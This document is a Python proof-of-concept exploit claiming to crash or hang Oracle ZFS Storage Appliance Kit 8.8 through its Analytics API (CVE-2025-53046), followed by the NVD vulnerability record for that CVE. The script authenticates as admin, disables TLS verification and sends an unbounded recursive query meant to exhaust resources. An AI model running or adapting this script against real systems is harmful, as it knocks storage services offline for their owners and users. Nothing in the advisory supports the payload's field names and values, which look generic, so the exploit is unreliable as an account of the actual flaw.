CVE-2025-53046

# CVE-2025-53046 - Oracle ZFS Storage Appliance Kit Analytics DoS # Vulnerability: Denial of Service via Analytics component # CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H # Affected Version: 8.8 # # Note: This vulnerability requires high privileged authentication. # The PoC demonstrates the attack pattern targeting the Analytics component. import requests from requests.auth import HTTPBasicAuth TARGET_HOST = "https://target-zfs-appliance:215" ANALYTICS_ENDPOINT = "/api/analytics/v1/" USERNAME = "admin" PASSWORD = "privileged_password" def exploit_dos(): """ Send crafted request to Analytics component to trigger DoS condition. The Analytics component fails to handle specific request patterns, causing system hang or repeated crashes. """ session = requests.Session() # Authenticate with high privileged credentials session.auth = HTTPBasicAuth(USERNAME, PASSWORD) session.verify = False headers = { "Content-Type": "application/json", "Accept": "application/json", "X-Requested-With": "XMLHttpRequest" } # Crafted payload targeting Analytics resource management flaw payload = { "query": { "metric": "*", "timeRange": {"start": 0, "end": 9999999999999}, "aggregation": "deep_scan", "recursive": True, "depth": -1 }, "options": { "force_recompute": True, "bypass_cache": True, "resource_limit": 0 } } try: # Trigger the vulnerability through Analytics API response = session.post( f"{TARGET_HOST}{ANALYTICS_ENDPOINT}query", json=payload, headers=headers, timeout=30 ) print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") except requests.exceptions.Timeout: print("[+] Target may be hanging - DoS triggered successfully") except requests.exceptions.ConnectionError: print("[+] Target connection refused - service may have crashed") except Exception as e: print(f"[*] Error: {e}") if __name__ == "__main__": exploit_dos()

{"cve": {"id": "CVE-2025-53046", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:41.927", "lastModified": "2025-10-23T16:07:15.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Analytics). The supported version that is affected is 8.8. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle ZFS Storage Appliance Kit. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle ZFS Storage Appliance Kit. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:zfs_storage_appliance_kit:8.8:*:*:*:*:*:*:*", "matchCriteriaId": "D3E503FB-6279-4D4A-91D8-E237ECF9D2B0"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}